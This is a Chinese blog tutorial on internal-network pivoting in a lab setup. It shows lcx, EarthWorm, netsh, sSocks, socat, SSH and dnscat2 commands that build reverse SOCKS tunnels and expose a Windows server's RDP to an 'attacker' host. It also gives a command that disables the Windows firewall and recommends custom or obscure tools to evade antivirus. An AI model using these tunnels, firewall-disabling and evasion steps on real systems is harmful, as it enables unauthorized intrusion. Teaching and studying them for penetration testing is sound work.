各种端口转发工具的使用方法

警告
本文最后更新于 2019-07-23,文中内容可能已过时。

科普转发工具的用法

本文主要介绍几种内网中常用的端口转发以代理的几种姿势。阅读本文前请看到每个阶段的网络环境,对理解本文有重要帮助。

我们在这里用三台实验机

client :172.16.1.1

attacker:172.16.2.18 172.16.1.144

server:172.16.2.8

我们的目的是从我们的client就可以连接上 win2008 的远程桌面。

lcx.exe有两大功能

  1. 端口转发 slave和listen成对使用
  2. 端口映射 tran

server执行

1
lcx.exe -s 172.16.2.18 5555 127.0.0.1 3389

这句话的意思是把本机的3389端口转发到172.16.2.18的5555端口

在attacker执行

1
lcx.exe -l 5555 4444

这句是把本机5555接收到的数据转发到本机的4444端口

现在就可以在client上 mstsc 连接attacker的4444端口,或者直接在attacker中连接127.0.0.1:4444

整个数据的流向

client <-> 4444 attacker 5555 <->3389 server

如果server中有防火墙不允许3389出站,那么可以用tran将3389映射到防火墙允许出站的端口,比如53端口。

server执行

1
lcx -t 53 172.16.2.8 3389

直接连接server:53

数据流向

server 3389 <-> 53 <->attacker

EW 是一套便携式的网络穿透工具,具有 SOCKS v5 服务架设和端口转发两大核心功能。该工具能够以 “正向”、“反向”、“多级级联” 等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内, 强烈推荐使用。官方地址:http://rootkiter.com/EarthWorm

该工具共有 6 种命令格式:ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran

attacker:

1
ew -s ssocksd -l 1080

client:

1
2
C:\Users\Y4er>curl http://172.16.2.8 -x socks5://172.16.1.144:1080
I am 172.16.2.8

数据流向

client <-> attacker 1080 <-> server

attacker执行,监听8888端口转发到1080端口

1
ew -s rcsocks -l 1080 -e 8888

在server中启动socks5服务,并且反弹到attacker的8888端口

1
ew -s rssocks -d 172.16.2.18 -e 8888

在client中就可以用这个代理了

1
curl http://172.16.2.8 -x socks5://172.16.1.144:1080

client <-> attacker 1080 <-> attacker 8888 <-> server

这里着重说一下lcx_tranlcx_listenlcx_slave的用法。

案例一:

在attacker中启动一个socks5代理,端口是9999

1
ew -s ssocksd -l 9999

然后通过lcx_tran来转发9999到1080

1
ew.exe -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999

然后就能从client访问server了

1
curl http://172.16.2.8 -x socks5://172.16.1.144:1080

实际上还是用attacker搭了一个socks5代理,这个例子主要说的是lcx_tran的使用方法

案例二: attacker:

1
ew.exe -s lcx_listen -l 1234 -e 8888

server:

1
ew.exe -s lcx_slave -d 192.168.1.100 -e 8888 -f 127.0.0.1 -g 3389

原理和lcx一样

假如我们当前的网络环境如下

1
2
3
4
a: 192.168.1.100
b: 192.168.1.101,10.0.0.1
c: 10.0.0.2,172.16.0.1
d: 172.16.0.2

那么我们怎么做才能让a访问到d的资源呢?

ew提供了多级级联

1
2
3
a: ew.exe -s lcx_listen -l 1080 -e 8888
b: ew.exe -s lcx_slave -d 192.168.1.100 -e 8888 -f 10.0.0.2  -g 9999
c: ew.exe -s lcx_tran -l 9999 -f 172.16.0.2 -g 3389

数据流向

a 1080 <-> a 8888 <-> b 9999 <-> c 9999 <-> d 3389

netsh(Network Shell) 是一个windows系统本身提供的功能强大的网络配置命令行工具。

https://docs.microsoft.com/zh-cn/windows-server/networking/technologies/netsh/netsh-contexts

netsh添加规则

1
netsh interface portproxy set v4tov4 listenaddress=172.16.1.144  listenport=4444 connectaddress=172.16.2.8 connectport=3389

将172.16.1.144的4444端口映射到172.16.2.8的3389

查看规则

1
2
3
4
5
6
7
C:\Users\Administrator\Desktop>netsh interface portproxy show all

侦听 ipv4:                 连接到 ipv4:

地址            端口        地址            端口
--------------- ----------  --------------- ----------
172.16.1.144    4444        172.16.2.8      3389

删除规则

1
netsh interface portproxy delete v4tov4 listenaddress=172.16.1.144 listenport=4444

关闭防火墙

1
netsh firewall set opmode disabled

sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试。官方地址:http://sourceforge.net/projects/ssocks/

使用方法类似ew

attacker

1
rcsocks -l 4444 -p 5555 -vv

server

1
rssocks –vv –s 172.16.2.8:5555

client

1
curl 172.16.2.8 -x socks5://172.16.1.144:4444

portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4–IPV6的转换转发。

portfwd是meterpreter中内置的功能,也有单机exe版本的https://github.com/rssnsj/portfwd

较为简单,不举例了。


以上我们将的都是win平台下的tcp端口转发,接下来我们看Linux平台下的。

改变下我们当前的网络结构

win10 client:172.16.1.1

kali attacker:172.16.1.141 172.16.2.19

win2008 server:172.16.2.8

我们现在的目的是通过kali的转发来使client连接到server的3389


socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/

socat的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等。

1
socat TCP4-LISTEN:4444 TCP4:172.16.2.8:3389

client连接172.16.1.141:4444就是连接server的3389

如果需要使用并发连接,则加一个fork,如下:

1
socat TCP4-LISTEN:4444,fork TCP4:172.16.2.8:3389

在一个NAT环境,如何从外部连接到内部的一个端口呢?只要能够在内部运行socat就可以了。

attacker

1
socat tcp-listen:1234 tcp-listen:3389 

server

1
socat tcp:172.16.2.19:1234 tcp:172.16.2.8:3389

这样,你外部机器上的3389就映射在内部网172.16.2.8的3389端口上。

mstsc 172.16.1.141:3389

参考倾旋师傅的文章https://payloads.online/tools/socat


我们再来看看基于ssh协议的端口转发,环境跟上文一样。


SSH 会自动加密和解密所有 SSH 客户端与服务端之间的网络数据。但是,SSH 还同时提供了一个非常有用的功能,这就是端口转发。它能够将其他 TCP 端口的网络数据通过 SSH 链接来转发,并且自动提供了相应的加密及解密服务。

https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html

SSH 端口转发能够提供两大功能:

  1. 加密 SSH Client 端至 SSH Server 端之间的通讯数据。
  2. 突破防火墙的限制完成一些之前无法建立的 TCP 连接。

参数:

-C Enable compression.

压缩数据传输。

-N Do not execute a shell or command. 不执行脚本或命令,通常与-f连用。

-g Allow remote hosts to connect to forwarded ports. 在-L/-R/-D参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。

-f Fork into background after authentication. 后台认证用户/密码,通常和-N连用,不用登录到远程主机。

所谓本地端口转发,就是将发送到本地端口的请求,转发到目标端口。这样,就可以通过访问本地端口,来访问目标端口的服务。

client(win10有ssh命令)

1
ssh -CfNg -L 4444:172.16.2.8:3389 [email protected]

此时client去连接localhost:4444就是server:3389

所谓远程端口转发,就是将发送到远程端口的请求,转发到目标端口。这样,就可以通过访问远程端口,来访问目标端口的服务。

client

1
ssh -CfNg -R 4444:172.16.1.1:3389 [email protected]

此时client去连接localhost:4444就是server:3389

首先,SSH 端口转发自然需要 SSH 连接,而 SSH 连接是有方向的,从 SSH Client 到 SSH Server 。而我们的应用也是有方向的,比如需要连接远程桌面时,远程桌面自然就是 Server 端,我们应用连接的方向也是从应用的 Client 端连接到应用的 Server 端。如果这两个连接的方向一致,那我们就说它是本地转发。而如果两个方向不一致,我们就说它是远程转发。

总的思路是通过将 TCP 连接转发到 SSH 通道上以解决数据加密以及突破防火墙的种种限制。对一些已知端口号的应用,例如 Telnet/LDAP/SMTP,我们可以使用本地端口转发或者远程端口转发来达到目的。

如果你对ssh转发还有问题的话,推荐阅读以下文章

client

1
ssh -qTfnN -D 1080 172.16.1.141

client上架设socks,端口1080,数据通过attacker转发到内网。

dnscat2 是一款基于 DNS 协议的代理隧道。不仅支持端口转发,另外还有执行命令,文件传输等功能。其原理与 DNS Log 类似, 分为直连和中继两种模式, 前者直接连接服务端的 53 端口, 速度快, 但隐蔽性差, 后者通过对所设置域名的递归查询进行数据传输, 速度慢, 但隐蔽性好。

创建一条端口转发

1
2
3
4
5
6
7
8
9
(the security depends on the strength of your pre-shared secret!)
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command (LAPTOP) 1> listen 1234 127.0.0.1:3389
Listening on 0.0.0.0:1234, sending connections to 127.0.0.1:3389
command (LAPTOP) 1> 

这个我没有测试,这个参考 @X1r0z 的文章 dnscat2 tunnel

至于更多用法请参阅 README.MD

http隧道较为简单,在这里举几个有名的http隧道(或是基于http包装的tcp隧道)

  1. https://github.com/sensepost/reGeorg
  2. https://github.com/nccgroup/ABPTTS 目前不支持PHP
  3. https://github.com/SECFORCE/Tunna
  4. https://github.com/sensepost/reDuh
  1. shadowsocks
  2. sockcap64 windows
  3. Proxifier
  4. proxychains
  1. win2008 远程桌面黑屏鼠标没反应可能是因为你登录的用户已经登录了。
  2. 连不上3389需要先关防火墙。
  3. socat尽量用fork,不然一次会话结束后就会断。

文章中的很多东西网上都有,端口转发实际上只要明白原理和数据的流向,就很明了了。

但是对于杀软来说,像lcx这种工具传上去就被杀掉了,所以推荐golang自写端口转发工具,当然你也可以在GitHub找一些少见的自写的端口转发工具来规避杀软。比如https://github.com/tavenli/port-forward

参考链接:

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。